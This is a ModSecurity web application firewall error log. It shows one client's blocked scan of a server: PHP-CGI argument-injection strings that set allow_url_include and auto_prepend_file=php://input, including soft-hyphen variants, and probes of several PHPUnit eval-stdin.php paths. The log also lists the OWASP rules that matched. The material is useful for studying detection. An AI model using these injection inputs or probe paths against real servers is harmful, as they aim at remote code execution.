[Sat Oct 24 20:43:11.558989 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at1Qn93lMH_Ldre-PZtuXgAAACk"]
[Sat Oct 24 20:43:11.559069 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at1Qn93lMH_Ldre-PZtuXgAAACk"]
[Sat Oct 24 20:43:11.559543 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at1Qn93lMH_Ldre-PZtuXgAAACk"]
[Sat Oct 24 20:43:11.560423 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qn93lMH_Ldre-PZtuXgAAACk"]
[Sat Oct 24 20:43:11.750573 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1Qn93lMH_Ldre-PZtuXwAAACk"]
[Sat Oct 24 20:43:11.750664 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1Qn93lMH_Ldre-PZtuXwAAACk"]
[Sat Oct 24 20:43:11.751160 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1Qn93lMH_Ldre-PZtuXwAAACk"]
[Sat Oct 24 20:43:11.752000 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qn93lMH_Ldre-PZtuXwAAACk"]
[Sat Oct 24 20:43:11.932879 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at1Qn93lMH_Ldre-PZtuYAAAACk"]
[Sat Oct 24 20:43:11.932957 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at1Qn93lMH_Ldre-PZtuYAAAACk"]
[Sat Oct 24 20:43:11.933428 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at1Qn93lMH_Ldre-PZtuYAAAACk"]
[Sat Oct 24 20:43:11.934309 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qn93lMH_Ldre-PZtuYAAAACk"]
[Sat Oct 24 20:43:12.129374 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYQAAACk"]
[Sat Oct 24 20:43:12.129510 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYQAAACk"]
[Sat Oct 24 20:43:12.129981 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYQAAACk"]
[Sat Oct 24 20:43:12.130880 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QoN3lMH_Ldre-PZtuYQAAACk"]
[Sat Oct 24 20:43:12.331755 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYgAAACk"]
[Sat Oct 24 20:43:12.332224 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYgAAACk"]
[Sat Oct 24 20:43:12.333139 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QoN3lMH_Ldre-PZtuYgAAACk"]
[Sat Oct 24 20:43:12.536125 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYwAAACk"]
[Sat Oct 24 20:43:12.536649 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuYwAAACk"]
[Sat Oct 24 20:43:12.537575 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QoN3lMH_Ldre-PZtuYwAAACk"]
[Sat Oct 24 20:43:12.731281 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuZAAAACk"]
[Sat Oct 24 20:43:12.731764 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuZAAAACk"]
[Sat Oct 24 20:43:12.732609 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QoN3lMH_Ldre-PZtuZAAAACk"]
[Sat Oct 24 20:43:12.921845 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuZQAAACk"]
[Sat Oct 24 20:43:12.922296 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1QoN3lMH_Ldre-PZtuZQAAACk"]
[Sat Oct 24 20:43:12.923150 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QoN3lMH_Ldre-PZtuZQAAACk"]
[Sat Oct 24 20:43:13.118932 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuZgAAACk"]
[Sat Oct 24 20:43:13.119500 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuZgAAACk"]
[Sat Oct 24 20:43:13.120321 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qod3lMH_Ldre-PZtuZgAAACk"]
[Sat Oct 24 20:43:13.298565 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuZwAAACk"]
[Sat Oct 24 20:43:13.299064 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuZwAAACk"]
[Sat Oct 24 20:43:13.299916 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qod3lMH_Ldre-PZtuZwAAACk"]
[Sat Oct 24 20:43:13.514103 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuaAAAACk"]
[Sat Oct 24 20:43:13.514544 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuaAAAACk"]
[Sat Oct 24 20:43:13.515392 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qod3lMH_Ldre-PZtuaAAAACk"]
